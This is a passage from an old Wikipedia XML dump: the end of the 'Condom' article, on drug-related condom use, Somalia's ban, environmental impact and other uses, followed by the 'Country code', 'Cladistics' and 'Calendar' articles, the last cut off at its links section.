[[Amphetamine]] use has been associated with stronger sexual excitement, longer duration of intercourse, and intensified [[orgasms]] among male injectors.  A study showed that methamphetamine users entering treatment had three times the prevalence of HIV than other drug users.

Only 99 of 699 male Out-of-Treatment Injection Drug Users (OTIDUs) that took part in the study reported to have always used a condom.  Of the 232 women OTIDUs, 22 claimed their male partner always used a condom.  However, when the study was restricted to methamphetamine users only, these numbers dropped to a mere one third and one fourth of the above statistics, respectively.

From this research (Grant, Patterson, Semple, 2004), correlations can be drawn through profiling methamphetamine users against non users as specific relationships can be drawn.  While not always, [[drug abuse]] will often identify a lower economic status as well as certain minority groups which could add other specific social factors that are need further research to make better correlations.

===Anti-condom trends===

Studies have shown [[baby boomer]]s are increasingly contracting sexually transmitted infections because they choose not to wear condoms. Many have been married and separated and now have random sexual partners (Watt, 2005). Since the women are no longer capable of conceiving children, they do not see the large risk in not protecting themselves, and thus the importance of a condom becomes minimal. Also, since many of them have just come out of a [[long term relationship]], they are starting over and they are too uncomfortable with their new partner to ask them to use a condom.

==Laws and policies restricting condoms==
{{expandsect}}

===Somalia===
In 2003 it became illegal under [[Islamic]] [[Sharia]] law to sell or use condoms in [[Somalia]]. The punishments for violating this law may include [[Flagellation|flogging]] &lt;ref&gt;&quot;&lt;cite&gt;Islamic leaders say they have outlawed condoms in Somalia, where the vast majority of the population is Muslim.&lt;/cite&gt;&quot; [http://news.bbc.co.uk/2/hi/africa/3340611.stm Somali Muslim group bans condoms]&lt;/ref&gt;.

==Environmental impact==
While biodegradable, latex condoms have been known to have a negative impact on the environment if improperly disposed of. It is estimated that 61,000,000 to 100,000,000 condoms are improperly disposed of in Britain alone, often ending up in rivers, or the ocean. According to the Ocean Conservancy these condoms cover the [[coral reef]]s, and smothers [[sea grass]] and other bottom dwellers. The [[Environmental Protection Agency|EPA]] also has expressed concerns that many animals might mistake this litter as food and eat it. &lt;ref&gt;&quot;&lt;cite&gt;The British Environment Agency estimates Brits discard 61 to 100 million condoms per year, many of which end up in rivers, the sea and on beaches.&lt;/cite&gt;&quot; &quot;&lt;cite&gt;Many animals confuse trash for food and try to eat it.&lt;/cite&gt;&quot; [http://www.findarticles.com/p/articles/mi_m1594/is_2_14/ai_98469962 Ask E - The environmental magazine]&lt;/ref&gt;

Polyethylene condoms aren't biodegradable, and there have been no studies to determine if lubricated condoms take longer to biodegrade than non-lubricated ones, but it is believed that that their landfill mass is negligible. &lt;ref&gt;&quot;&lt;cite&gt;Unfortunately, condoms made of polyurethane, a plastic material, do not break down at all.&lt;/cite&gt;&quot; [http://www.goaskalice-cms.org/scripts/printerfriendly.cfm?questionid=2311 Go ask Alice - Environmentally-friendly condom disposal]&lt;/ref&gt;

==Other uses for condoms==
Condoms have been used to waterproof boxes of matches and kindling, often by hikers and campers.

In [[WWII]], the [[Vietnam War]] and more recently the [[Gulf War]], the U.S. military instructed its soldiers to place a condom around the muzzle of the rifle barrel in order to prevent moisture, sand, rain, etc. from fouling the weapon without hindering a bullet in case of firing.

The British [[Special Air Service|SAS]] (and probably other [[Special Forces]] units) carry condoms as a method for carrying water in survival situations (rather than for day-to-day use).

Condoms have also been used in many cases to smuggle [[cocaine]] across borders &lt;ref&gt;&quot;&lt;cite&gt;A 41 year old man has been remanded in custody after being stopped on Saturday by customs officials at the Norwegian border at Svinesund. He had a kilo of cocaine in his stomach.&lt;/cite&gt;&quot; [http://www.thelocal.se/article.php?ID=2671&amp;date=20051212 Smuggler hospitalised as cocaine condom bursts]&lt;/ref&gt;.

In his book entitled ''Last Chance to See'', [[Douglas Adams]] reported having used a condom to protect a microphone he used to make an underwater recording.  According to one of his travelling companions, this is standard [[BBC]] practice for when a waterproof microphone is needed but cannot be procured.

==See also==
* [[Safe sex]]
* [[Durex]]
* [[LifeStyles]]
* [[Trojan Condoms]]
* ''[[State of Louisiana v. Frisard]]''
* [[Male oral contraceptive]]
* [[Something for the weekend]]

==References==
&lt;references/&gt;
* Boston Women's Health Book Collective, 2005. &lt;cite&gt;[[Our Bodies, Ourselves]]: A New Edition for a New Era&lt;/cite&gt;. New York: Touchstone.
* MacPhail, Catherine and Campbell, Catherine (2001 Jun). “I think condoms are good but, aai, I hate those things: condom use among adolescents and young people in a Southern African township.” Social Science and Medicine, 2001, 52, 11, 1613–1627
* Kulczycki, Andrzej. &quot;The Sociocultural context of condom use within marriage in rural Lebanon. Studies in Family Planning 35.4 (Dec 2004): 246(15). 
* Crossley, Michele L. (2004). &quot;Making sense of 'barebacking': Gay men's Narratives, unsafe sex and the 'resistance habitus'. British Journal of Social Psychology, 43, 225–244.
* Watt, Emily (2005 April 24). &quot;Older Adults Shy Away From Safe Sex Advice&quot;. The Sunday Star-Times (Auckland, New Zealand).
* Semple, S.J., Patterson, T.L., &amp; Grant, I. (2004). Determinants of condom use stage of change among heterosexually-identified methamphetamine users. AIDS &amp; Behavior, 8 (4), 391–400.

==External links==
*[http://www.plannedparenthood.org Planned Parenthood of America] — Provides information and training for all forms of birth control from their website and locations across the U.S.
*[http://www.fhi.org/en/topics/condoms Condom Research from FHI] — Family Health International's topic page on condoms.
*[http://www.cdc.gov/hiv/pubs/facts/condoms.htm Fact sheet on condoms and sexually transmitted diseases] — from the US Center for Disease Control.
*[http://www.gayhealth.com/templates/1088461167278587978798/news?record=930&amp;trycookie=1 Spotlight: How to Choose and Use Condoms] — directed at gay men, but contains advice applicable to all.
*[http://preservatif.maisonx.com/index.htm Condom use] — in French, but with many pictures.
*[http://www.azom.com/details.asp?ArticleID=549&amp;head=Condoms%2B%96%2BAn%2BOverview] — History and production.
*[http://www.contraceptiononline.org/slides/slide01.cfm?q=male+condom&amp;dpg=4 Information about polyurethane condoms] - [[Baylor College of Medicine]]

[[Category:Barrier contraception]]
[[Category:Sexual health]]
[[Category:Sexually-transmitted diseases]]
[[Category:HIV/AIDS]]
[[Category:Penis]]

{{Link FA|de}}

[[cs:Kondom]]
[[da:Kondom]]
[[de:Kondom]]
[[es:Preservativo]]
[[eo:Kondomo]]
[[fa:کاندوم]]
[[fr:Préservatif]]
[[ko:콘돔]]
[[id:Kondom]]
[[it:Profilattico]]
[[he:קונדום]]
[[lt:Prezervatyvas]]
[[ln:Ekopekisa]]
[[mk:Кондом]]
[[ms:Kondom]]
[[nl:Condoom]]
[[ja:コンドーム]]
[[no:Kondom]]
[[pl:Prezerwatywa]]
[[pt:Preservativo]]
[[ru:Презерватив]]
[[simple:Condom]]
[[fi:Kondomi]]
[[sv:Kondom]]
[[vi:Bao cao su]]
[[zh:避孕套]]</text>
    </revision>
  </page>
  <page>
    <title>Country code</title>
    <id>5375</id>
    <revision>
      <id>40569031</id>
      <timestamp>2006-02-21T14:25:47Z</timestamp>
      <contributor>
        <ip>69.70.120.119</ip>
      </contributor>
      <comment>/* Other country codes */</comment>
      <text xml:space="preserve">{{for|the rules of behaviour in the [[United Kingdom|British]] countryside|The Country Code}}

'''Country codes''' are short alphabetic or numeric [[geography|geographical]] [[code]]s ([[geocode]]s) developed to represent countries and dependent areas, for use in data processing and communications. Several different systems have been developed to do this. The most famous of these is [[ISO 3166-1]].

==Lists of country codes by country==
[[Country codes: A|A]] -
[[Country codes: B|B]] -
[[Country codes: C|C]] -
[[Country codes: D-E|D-E]] -
[[Country codes: F|F]] -
[[Country codes: G|G]] -
[[Country codes: H-I|H-I]] -
[[Country codes: J-K|J-K]] -
[[Country codes: L|L]] -
[[Country codes: M|M]] -
[[Country codes: N|N]] -
[[Country codes: O-R|O-R]] -
[[Country codes: S|S]] -
[[Country codes: T|T]] -
[[Country codes: U-Z|U-Z]]
==ISO 3166-1==
''Main article: [[ISO 3166-1]]''

This standard defines for most of the countries and dependent areas in the world:
*a two letter ([[ISO 3166-1 alpha-2]])
*a three-letter ([[ISO 3166-1 alpha-3]]), and
*a three-digit numeric ([[ISO 3166-1 numeric]]) code.

The two-letter codes are used as the basis for some other codes or applications, e.g.
*for [[ISO 4217]] [[currency|currency codes]] and
*with deviations for country code [[top-level domain]] names (ccTLDs) on the Internet: [[list of Internet TLDs]].
For more applications see [[ISO 3166-1 alpha-2]].

==Other country codes==
*The [[International Olympic Committee]] (IOC) three letter codes used in sporting events: [[list of IOC country codes]]
*The Fédération Internationale de Football Association ([[FIFA]]) assigns a three-letter code (dubbed FIFA Trigramme) to each of its member and non-member countries: [[List of FIFA country codes]]
*The [[North Atlantic Treaty Organisation]] (NATO) used two-letter codes of its own: [[list of NATO country codes]]. They were largely borrowed from the FIPS 10-4 codes mentioned below. In [[2003]], the eighth edition of the Standardisation Agreement (STANAG) adopted the ISO 3166 three-letter codes with one exception (the code for Macedonia). With the ninth edition, NATO is transitioning to four- and six-letter codes based on ISO 3166 with a few exceptions and additions.
*The coding system for car [[license plate]]s under the 1949 and 1968 United Nations Road Traffic Conventions (distinguishing signs of vehicles in international traffic): [[List of international license plate codes]] [http://www.unece.org/trans/conventn/Distsigns_Sept2003.pdf]
*The [[Federal Information Processing Standard]] (FIPS) two letter codes used by the [[United States|US]] government and in the [[CIA World Factbook]]: [[list of FIPS country codes]], See also [[List of FIPS region codes]] for a set of 4-character region codes, also assigned by FIPS.
*The coding system for [[diplomatic license plates in the United States]], assigned by the [[United States Department of State|U.S. State Department]].
*From the [[International Telecommunication Union]] (ITU):
**the [[E.164]] international dialling codes: [[list of country calling codes]] with 1-3 digits,
**the [[IMSI|E.212]] [[mobile country codes]] (MCC), for mobile/wireless phone addresses,
**the first few characters of call signs of radio stations (maritime, aeronautical, [[amateur radio]], broadcasting, etc.) define the country: the [[ITU prefix]],
**[[ITU letter codes]] for member-countries,
**Three-digit codes used to identify countries in maritime mobile radio transmissions, known as [[maritime identification digits]]
*[[European Union]]:
**Before the [[Enlargement of the European Union|2004 EU enlargement]] the EU used the UN Road Traffic Conventions [[List of international license plate codes|license plate codes]]; since then, it uses [[ISO 3166-1]], with 2 exceptions: ''EL'' (not ''GR'') is used for [[Greece]], and ''UK'' (not ''GB'') is used for the [[United Kingdom]]. [http://publications.eu.int/code/en/en-cover.htm EU Interinstitutional style guide]
**The [[Nomenclature des unités territoriales statistiques]] (Nomenclature of territorial units for statistics, NUTS) of the [[European Union]], mostly focusing on subdivisions of the EU member states
*From the [[International Civil Aviation Organization]] (ICAO):
**[[aircraft registration|aircraft registration prefixes]],
**nationality letters for location indicators.

The developers of ISO 3166 intended that in time it would replace other coding systems in existence.

==Other codings==
The following can represent countries:
*The initial digits of International Standard Book Numbers ([[ISBN]]) are group identifiers for countries, areas, or language regions.
*The first three digits of [[GS1]] Company Prefixes used to identify products, e.g. in [[barcode]]s, designate (national) numbering agencies.

==See also==
*[[language code]]
*[[numbering scheme]]
*[[ISO 639]] language codes

==External links==
*Comparison of various systems: http://www.unc.edu/~rowlett/units/codes/country.htm
*Another comparison: http://www.statoids.com/wab.html
*[http://www.countrycallingcodes.com/ Country calling codes]
*[http://www.doublestandards.org/country/ list with flags]

[[category: country codes| ]]

[[de:Ländercode]]
[[es:Códigos de países]]
[[fr:Code pays]]
[[is:Landsnúmer]]
[[ja:国名コード]]
[[th:รหัสประเทศ]]</text>
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  </page>
  <page>
    <title>Cladistics</title>
    <id>5376</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41658835</id>
      <timestamp>2006-02-28T21:38:46Z</timestamp>
      <contributor>
        <username>Sheep81</username>
        <id>911938</id>
      </contributor>
      <comment>/* Definitions */</comment>
      <text xml:space="preserve">[[Image:cladogram-example1.png|framed|This cladogram shows the relationship among various insect groups. In some cladograms, the length of the horizontal lines indicates time elapsed since the last common ancestor.]]
'''Cladistics''' ([[Greek language|Greek]]: ''klados'' = branch)  is a branch of [[biology]] that determines the [[evolution|evolutionary]] relationships between organisms based on ''derived'' similarities.  It is the most prominent of several [[phylogenetic]] [[systematics]], which study the evolutionary relationships between organisms. Cladistics is a method of rigorous analysis, using &quot;shared derived properties&quot; (synapomorphies: see below) of the organisms being studied. Cladistic analysis forms the basis for most modern systems of biological classification, which seek to group organisms by evolutionary relationships.  In contrast, [[phenetics]] groups organisms based on their ''overall'' similarity, while approaches that are more traditional tend to rely on key characters.  [[Willi Hennig]] (1913 - 1976) is widely regarded as the founder of cladistics. 

As the end result of a cladistic analysis, [[Tree_(graph_theory)|tree]]like relationship-diagrams called &quot;cladograms&quot; are drawn up to show different hypotheses of relationships. A cladistic analysis can be based on as much or as little information as the researcher selects.  Modern systematic research is likely to be based on a wide variety of information, including DNA-sequences (so called &quot;molecular data&quot;), biochemical data and [[Morphology (biology)|morphological]] data.
 
[[Image:cladogram-example2.png|framed|This representation emphasises that cladograms are [[Tree_(graph_theory)|trees]].]]

In a cladogram, all organisms lie at the leaves, and each inner node is ideally binary (two-way). The two [[taxon|taxa]] on either side of a split are called ''sister taxa'' or ''sister groups.'' Each subtree, whether it contains one item or a hundred thousand items, is called a ''clade.'' A natural group has all the organisms contained in any one clade that share a unique ancestor (one which they do not share with any other organisms on the diagram) for that clade. Each clade is set off by a series of characteristics that appear in its members, but not in the other forms from which it diverged. These identifying characteristics of a clade are called [[synapomorphy|synapomorphies]] (shared, derived characters). For instance, hardened front [[wing]]s are a synapomorphy of [[beetle]]s, while [[Vernation|circinate vernation]], or the unrolling of new fronds, is a synapomorphy of [[fern]]s.

==Definitions==
Several more terms are defined for the description of cladograms and the positions of items within them. A species or clade is '''[[basal]]''' to another clade if it diverges from the cladogram before the members of the second clade diverge from each other. The second clade is termed '''[[derived]]'''. A clade or species located within another clade can also be described as '''nested''' within that clade.  In an upright cladogram (one with species listed at the top, and a &quot;root&quot; at the bottom), a basal clade or species branches off toward the bottom, or below the derived group.

Thus in a cladogram that includes a dog, an elephant, and a bird, the bird's branch is basal, but both dog and elephant would be nested within the mammals, which are derived relative to birds in this cladogram. Birds and mammals diverged before the dog and elephant, both mammals, diverged from each other. On the other hand, if the cladogram included a canary, an ostrich, and a mammal, both canary and ostrich would be nested within the group of birds, which are derived relative to the mammal. The mammal is considered basal in this case because the bird-mammal divergence occurred before the divergence of canary and ostrich.

Similarly, a character state (see below) that is present in both basal and derived groups is called a '''plesiomorphy''' (meaning &quot;close form&quot;, also called ancestral state), and one that occurs only in the derived group is called an '''apomorphy''' (meaning &quot;separate form&quot;, also called the &quot;derived&quot; state) for that group. The adjectives '''plesiomorphic''' and '''apomorphic''' are used instead of &quot;primitive&quot; and &quot;advanced&quot; to avoid placing value-judgements on the evolution of the character states, since both may be advantageous in different circumstances.

==Cladistic methods==
Typically, a cladistic analysis begins by collecting information on certain features of all the organisms in question. Features may come in different versions (e.g. feather-color may be blue in one species but red in another).  These features are collectively called ''characters,'' and specific versions are called ''character states.'' Thus, &quot;red feathers&quot; and &quot;blue feathers&quot; are two character states of the character &quot;feather-color.&quot; 

After recording several character states, the researcher decides which ones were present ''before'' the last common ancestor of the species group (''symplesiomorphies'') and which were present ''in'' the last common ancestor (''synapomorphies'').  Usually this is done by considering one or more ''outgroups'' (organisms not related closely to any of the organisms in question). Only synapomorphies are of any use in characterising cladistic divisions.

Next, different possible cladograms are drawn up and evaluated. Clades are typically drawn to have as many synapomorphies as possible. The hope is that a sufficiently large number of true synapomorphies will be large enough to overwhelm any unintended symplesiomorphies (''homoplasies''), caused by [[convergent evolution]] (i.e. characters that resemble each other because of environmental conditions or function, not because of common ancestry). A well-known example of homoplasy due to convergent evolution is the character wings. Though the wings of birds and insects may superficially resemble one another and serve the same function, each evolved independently. If a bird and an insect are both accidentally scored &quot;POSITIVE&quot; for the character &quot;presence of wings&quot;, a homoplasy would be introduced into the dataset, which may cause erroneous results.

In practice, neutral features like exact ''ultrastructure'' (a term for extremely fine structure, microscopic or molecular composition of cellular structure) may be used to provide evidence for real relationships even when the appearance of organisms makes it otherwise difficult. When equivalent possibilities turn up, one is usually chosen based on the principle of ''parsimony'': the most compact arrangement is likely the best hypothesis of relationship (a variation of [[Occam's razor]]). Another approach, particularly useful in molecular evolution, is [[maximum likelihood]], which selects the optimal cladogram that has the highest likelihood based on a specific probability model of changes.

Cladistics has taken a while to settle in, and there is still wide debate over how to apply Hennig's ideas in the real world. In particular, apomorphies are not always easy to distinguish and data are often unavailable due to a sparsity of available forms or a lack of knowledge of characters, and these may invalidate cladograms.  There is also concern that use of widely different data sets (for instance, structural versus genetic characteristics) may produce widely different trees. However, largely, the phylogenetic approach to systematics has proven useful and coherent and has gained general support.

As [[DNA sequencing]] has become easier, phylogenies are increasingly constructed with the aid of molecular data. [[Computational systematics]] allows the use of these large data sets to construct objective phylogenies. These can filter out true synapomorphies from parallel evolution more accurately.

Cladistics does not assume any particular theory of evolution, only the background knowledge of descent with modification. Thus, cladistic methods can be, and recently have been, usefully applied to non-biological systems, including determining language families in [[historical linguistics]] and the filiation of manuscripts in [[textual criticism]].

==Cladistic classification==
[[Image:Clade types.png|framed|Three ways to define a clade for use in a cladistic taxonomy.&lt;br/&gt;'''Node-based''': the most recent common ancestor of A and B and all its descendants.&lt;br/&gt;'''Stem-based''': all descendants of the oldest common ancestor of A and B that is not also an ancestor of Z.&lt;br/&gt;'''Apomorphy-based''': the most recent common ancestor of A and B possessing a certain [[Cladistics#Definitions|apomorphy]] (derived character), and all its descendants.]]

A recent trend in biology since the 1960s, called '''cladism''' or '''cladistic taxonomy''', requires taxa to be clades. In other words, cladists argue that the classification system should be reformed to eliminate all non-clades. In contrast, other [[evolutionary taxonomy|taxonomists]] insist that groups reflect [[phylogeny|phylogenies]] and often make use of cladistic techniques, but allow both [[monophyletic]] and [[paraphyletic]] groups as [[taxa]].

A ''[[monophyletic]]'' group is a clade, comprising an ancestral form and all of its descendants, and so forming one (and only one) evolutionary group. A ''[[paraphyletic]]'' group is similar, but excludes some of the descendants that have undergone significant changes. For instance, the traditional class Reptilia excludes birds even though they evolved from the ancestral reptile. Similarly, the traditional Invertebrates are paraphyletic because Vertebrates are excluded, although the latter evolved from an Invertebrate.

A group with members from separate evolutionary lines is called ''[[polyphyletic]]''. For instance, the once-recognized Pachydermata was found to be polyphyletic because elephants and rhinoceroses arose from non-pachyderms separately. Evolutionary taxonomists consider polyphyletic groups to be errors in classification, often occurring because [[convergent evolution|convergence]] or other [[homoplasy]] was misinterpreted as [[homology (biology)|homology]].

Following Hennig, cladists argue that paraphyly is as harmful as polyphyly. The idea is that monophyletic groups can be defined objectively, in terms of common ancestors or the presence of synapomorphies. In contrast, paraphyletic and polyphyletic groups are both defined based on key characters, and the decision of which characters are of taxonomic import is inherently subjective.  Many argue that they lead to &quot;gradistic&quot; thinking, where groups advance from &quot;lowly&quot; grades to &quot;advanced&quot; grades, which can in turn lead to [[teleology]]. Teleology should be avoided as outside the realm of science.

Going further, some cladists argue that ranks for groups above species are too subjective to present any meaningful information, and so argue that they should be abandoned. Thus they have moved away from Linnaean taxonomy towards a simple hierarchy of clades.

Other evolutionary systematists argue that all taxa are inherently subjective, even when they reflect evolutionary relationships, since living things form an essentially continuous tree. Any dividing line is artificial, and creates both a monophyletic section above and a paraphyletic section below. Paraphyletic taxa are necessary for classifying earlier sections of the tree – for instance, the early vertebrates that would someday evolve into the family Hominidae cannot be placed in any other monophyletic family. They also argue that paraphyletic taxa provide information about significant changes in organisms' morphology, ecology, or life history – in short, that both taxa and clades are valuable but distinct notions, with separate purposes. Many use the term ''monophyly'' in its older sense, where it includes paraphyly, and use the alternate term ''holophyly'' to describe clades (''monophyly'' in Hennig's sense).

A formal code of phylogenetic nomenclature, the [[PhyloCode]], is currently under development for cladistic taxonomy. It is intended for use by both those who would like to abandon Linnaean taxonomy and those who would like to use taxa and clades side by side.

==See also==
*[[Scientific classification]]
*[[Evolutionary tree]]
*[[Phylogenetic tree]]
*[[List_of_publications_in_biology#Phylogenetics|Important publications in cladistics]]

==References==
* Kitching IJ, Forey PL, Humphries CJ and Williams DM (1998) Cladistics, 2nd edn. Oxford: Oxford University Press.
* Patterson C (1982) Morphological characters and homology. In: Joysey KA and Friday AE (eds) Problems in Phylogenetic Reconstruction. London: Academic Press.
* de Queiroz K and Gauthier JA (1992) Phylogenetic taxonomy. Annual Review of Ecology and Systematics 23: 449–480.
* Swofford DL, Olsen GJ, Waddell PJ and Hillis DM (1996) Phylogenetic inference. In: Hillis DM, Moritz C and Mable BK (eds) Molecular Systematics. Sunderland, MA: Sinauer Associates.
* Wiley EO (1981) Phylogenetics: The Theory and Practice of Phylogenetic Systematics. New York: Wiley Interscience.

==External links==
{{Spoken Wikipedia|Cladistics.ogg|2005-04-30}}
* [http://www.cladistics.org The Willi Hennig Society]
* [http://www.ucmp.berkeley.edu/clad/clad4.html Journey into Phylogenetic Systematics]
* [http://tolweb.org/tree/phylogeny.html Tree of Life Web Project]
* [http://occamssword.com extensive bibliography] for parsimony in Biology and the Philosophy of Biology
* [http://rjohara.net/darwin/files/bmcr.html Example of cladistics used in textual criticism]
* [http://www.amnh.org/learn/pd/fish_2/pdf/compleat_cladist.pdf The Compleat Cladist (pdf)]
* [http://www.talkorigins.org/faqs/comdesc/phylo.html Phylogenetics Primer] from Talk.Origins

{{phylo}}
{{featured article}}

[[Category:Phylogenetics]]

[[da:Kladistik]]
[[de:Kladistik]]
[[es:Cladismo]]
[[eo:Kladistiko]]
[[fr:Cladistique]]
[[it:Cladistica]]
[[nl:Cladistiek]]
[[pt:Cladística]]
[[sr:Кладистика]]</text>
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  </page>
  <page>
    <title>Calendar</title>
    <id>5377</id>
    <revision>
      <id>41724454</id>
      <timestamp>2006-03-01T08:25:46Z</timestamp>
      <contributor>
        <username>WoodElf</username>
        <id>706848</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">A '''calendar''' is a system for naming periods of time, typically [[day]]s. These names are known as [[calendar date]]s. The ''dates'' may be based on the perceived motion of [[astronomical]] objects. A calendar is also a physical device (often paper) that illustrates the system (for example, a ''desktop calendar'') &amp;mdash; this is the most common usage of the word.

As a subset, 'calendar' is also used to denote a list of particular set of planned events (for example, ''court calendar''). 

==Calendar systems==
Calendars in use on Earth are '''[[lunar calendar|lunar]]''', '''[[solar calendar|solar]]''',  '''[[lunisolar calendar|lunisolar]]''' or '''arbitrary'''. 

A ''lunar calendar'' is synchronized to the motion of the Moon ([[moon phase]]s); an example is the [[Islamic calendar]].  

A ''solar calendar'' is based on perceived [[seasonal year|seasonal]] changes synchronized to the apparent motion of the Sun; an example is the [[Persian calendar]].

A ''lunisolar calendar'' is synchronized both to the motion of the Moon and to the apparent motion of the Sun; an example is the [[Hebrew calendar|Jewish calendar]].

An ''arbitrary calendar'' is not synchronized to either the Moon or the Sun; examples are the [[week]] and the [[Julian day]] used by astronomers.

There are some calendars that appear to be synchronized to the motion of Venus, such as some of the ancient Egyptian calendars; synchronization to Venus appears to occur primarily in civilizations near the Equator.

===Solar calendars===
''Main article: [[Solar calendar]]''

====Days used by solar calendars ====
Solar calendars assign a ''date'' to each [[solar time|solar day]]. A [[day]] may consist of the period between [[sunrise]] and [[sunset]], with a following period of [[night]], or it may be a period between successive events such as two sunsets. The length of the interval between two such successive events may be allowed to vary slightly during the year, or it may be averaged into a [[solar time|mean solar day]]. Other types of calendar may also use a solar day.

====Future reform====
There have been a number of proposals for [[calendar reform|reform of the calendar]], such as the [[World calendar]] and [[International Fixed Calendar]].  The [[United Nations]] considered adopting such a reformed calendar for a while in the 1950s, but these proposals have lost most of their popularity. [[Holocene calendar]] is another one for counting years.

===Lunar calendars===
''Main article: [[Lunar calendar]]''

Not all calendars use the solar year as a unit. A [[lunar calendar]] is one in which days are numbered within each [[moon phase]] cycle.  Because the length of the lunar month is not an even fraction of the length of the tropical year, a purely lunar calendar quickly drifts against the seasons.  It does, however, stay constant with respect to other phenomena, notably [[tide]]s. A '''[[lunisolar calendar]]''' is a lunar calendar that compensates by adding an extra month as needed to realign the months with the seasons. An example is the [[Jewish]] calendar which uses a 19 year cycle.

Lunar calendars are believed to be the oldest calendars invented by mankind. [[Cro-Magnon]] people are claimed to have invented one around 32,000 BC.

===Fiscal calendars===
''Main article: [[Fiscal calendar]]''

A fiscal calendar (such as a 5/4/4 calendar) fixes each month at a specific number of weeks to facilitate comparisons from month to month and year to year.  January always has exactly 5 weeks (Sunday through Saturday), February has 4 weeks, March has 4 weeks, etc.  Note that this calendar will normally need to add a 53rd week to every 5th or 6th year, which might be added to December or might not be, depending on how the organization uses those dates. There exists an international standard way to do this (the [[ISO 8601|ISO week]]).  The ISO week runs Monday through Sunday and Week 1 is always the week that contains [[January 4]] Gregorian.

==Calendar subdivisions==
Nearly all calendar systems group consecutive days into &quot;[[month]]s&quot; and also into &quot;[[year]]s&quot;. In a ''[[solar calendar]]'' a ''[[year]]'' approximates Earth's [[tropical year]] (that is, the time it takes for a complete cycle of [[season]]s), traditionally used to facilitate the planning of [[agriculture|agricultural]] activities. In a ''lunar calendar'', the ''month'' approximates the cycle of the moon phase. Consecutive days may be grouped into other periods such as the [[week]].

Because the number of days in the ''tropical year'' is not a whole number, a solar calendar must have a different number of days in different years. This may be handled, for example, by adding an extra day ([[29 February]]) in [[leap year]]s. The same applies to months in a lunar calendar and also the number of months in a year in a lunisolar calendar. This is generally known as [[intercalation]]. Even if a calendar is solar, but not lunar, the year cannot be divided entirely into months that never vary in length.

Cultures may define other units of time, such as the [[week]], for the purpose of scheduling regular activities that do not easily coincide with months or years.

==Other calendar types==

===Complete and incomplete calendars===
Calendars may be either complete or incomplete.  Complete calendars provide a way of naming each consecutive day, while incomplete calendars do not.  The early Roman calendar, which had no way of designating the days of the winter months other than to lump them together as &quot;winter&quot;, is an example of an incomplete calendar, while the Gregorian calendar is an example of a complete calendar.

===Pragmatic, theoretical and mixed calendars===
Calendars may be pragmatic, theoretical, or mixed.

A ''pragmatic calendar'' is based on observation; examples are the religious Islamic calendar and the old religious Jewish calendar in the time of the Second Temple. Such a calendar is also referred to as an ''observation-based'' or ''astronomical'' calendar. The advantage of such a calendar is that it is perfectly and perpetually accurate. The disadvantage is that working out when a particular date would occur is difficult.

A ''theoretical calendar'' is one that is based on a strict set of rules; an example is the current Jewish calendar. Such a calendar is also referred to a ''rule-based'' or ''arithmetical'' calendar. The advantage of such a calendar is the ease of working out when a particular date occurs. The disadvantage is imperfect accuracy. Furthermore if the calendar is very accurate, its accuracy perishes slowly over time owing to changes in Earth's rotation. This limits the lifetime of an accurate theoretical calendar to a few thousand years. After then, the rules would need to be modified from observations made since the invention of the calendar, resulting in a mixed calendar.

A ''mixed calendar'' combines the features of both pragmatic and theoretical calendars.  Mixed calendars usually begin as theoretical calendars, but are adjusted pragmatically
when some type of asynchrony becomes apparent; the shift from the Julian to the Gregorian calendar is such an example.

The Gregorian calendar, as a final example, is complete, solar, and mixed.

==Uses==
The primary practical use of a calendar is to identify days: to be informed about and/or to agree on a future event and to record an event that has happened. Days may be significant for civil, religious or social reasons. For example, a calendar provides a way to determine which days are religious or civil [[holiday]]s, which days mark the beginning and end of business accounting periods, and which days have legal significance, such as the day taxes are due or a contract expires. Also a calendar may, by identifying a day, provide other useful information about the day such as its season.

Calendars are also used as part of a complete [[timekeeping]] system: date and [[time of day]] together specify a moment in [[time]].  In the modern world, written calendars are no longer an essential part of such systems, as the advent of accurate [[clock]]s has made it possible to record time independently of astronomical events.  

==Currently used calendars==
Calendars in widespread use today include the [[Gregorian calendar]], which is the ''[[de facto]]'' international standard, and is used almost everywhere in the world for civil purposes, including in [[China]] and [[India]] (along with the [[Indian national calendar]]). The [[Hebrew calendar]] is the official calendar of [[Israel]]'s government, but the Gregorian calendar is much more widely used in Israel's business and day-to-day affairs. The [[Iranian calendar|Persian calendar]] is used in [[Iran]] and [[Afghanistan]]. The [[Islamic calendar]] is used by [[Muslim]]s the world over. The [[Chinese calendar|Chinese]], [[Hebrew calendar|Hebrew]], [[Hindu calendar|Hindu]], and [[Julian calendar|Julian]] calendars are widely used for religious and/or social purposes.

Even where there is a commonly used calendar such as the Gregorian calendar, alternate calendars may also be used, such as a [[fiscal calendar]].

==See also==
*[[List of calendars]]
*[[Iranian calendar]]
*[[Bahá'í calendar]]
*[[Bengali calendar]]
*[[Gregorian calendar]]
*[[Julian calendar]]
*[[Liturgical year]]
*[[Calendar of saints]]
*[[Christian calendar]]
*[[Christian era]]
*[[Eastern Orthodox liturgical calendar]]
*[[Calculating the day of the week]]
*[[Cycle studies]]
*[[Runic calendar]]
*[[French Republican Calendar]]
*[[Wall calendar]]
*[[Wikipedia:WikiProject Calendars]]
*[[Zoroastrian calendar]]
*[[iCalendar]]
*[[hCalendar]]
*[[Calendar reform]]
*[[Perpetual Calendar]]

==Sources==
* ''Calendrical Calculations''; Nachum Dershowitz and Edward M. Reingold; Cambridge University Press, 1997; ISBN 0-521-56474-3; [http://emr.cs.iit.edu/home/reingold/calendar-book/second-edition/ Book Info]; [http://emr.cs.iit.edu/home/reingold/calendar-book/Calendrica.html Online Calculator]
* ''Mapping Time, the calendar and its history''; E G Richards; Oxford University Press, 1998; ISBN 0-19-850413-6
* ''A comparative Calendar of the Iranian, Muslim Lunar,and Christian Eras for Three Thousand Years''; Ahmad Birashk; Mazda Publishers, 1993; ISBN 0-939214-95-4
* ''The Comprehensive Hebrew Calendar''; Arthur Spier; Feldheim Publishers, 1986; ISBN 0-87306-398-8
* ''High Days and Holidays in Iceland''; Árni Björnsson; Mál og menning, 1995; ISBN 9979-3-0802-8
* ''Explanatory Supplement to the Astronomical Almanac''; P. Kenneth Seidelmann, ed.; University Science Books, 1992; ISBN 0-935702-68-7; [http://astro.nmsu.edu/~lhuber/leaphist.html Chapter 12: Calendars by L. E. Doggett]
* ''Sun, Moon, and Sothis''; Lynn E. Rose; Kronos Press, 1999; ISBN 0-917994-15-9
* ''Untersuchungen zur Geschichte der Tibetischen Kalenderrechnung''; Dieter Schuh; Franz Steiner Verlag GMBH, 1973

==External links==
{{wiktionary}}
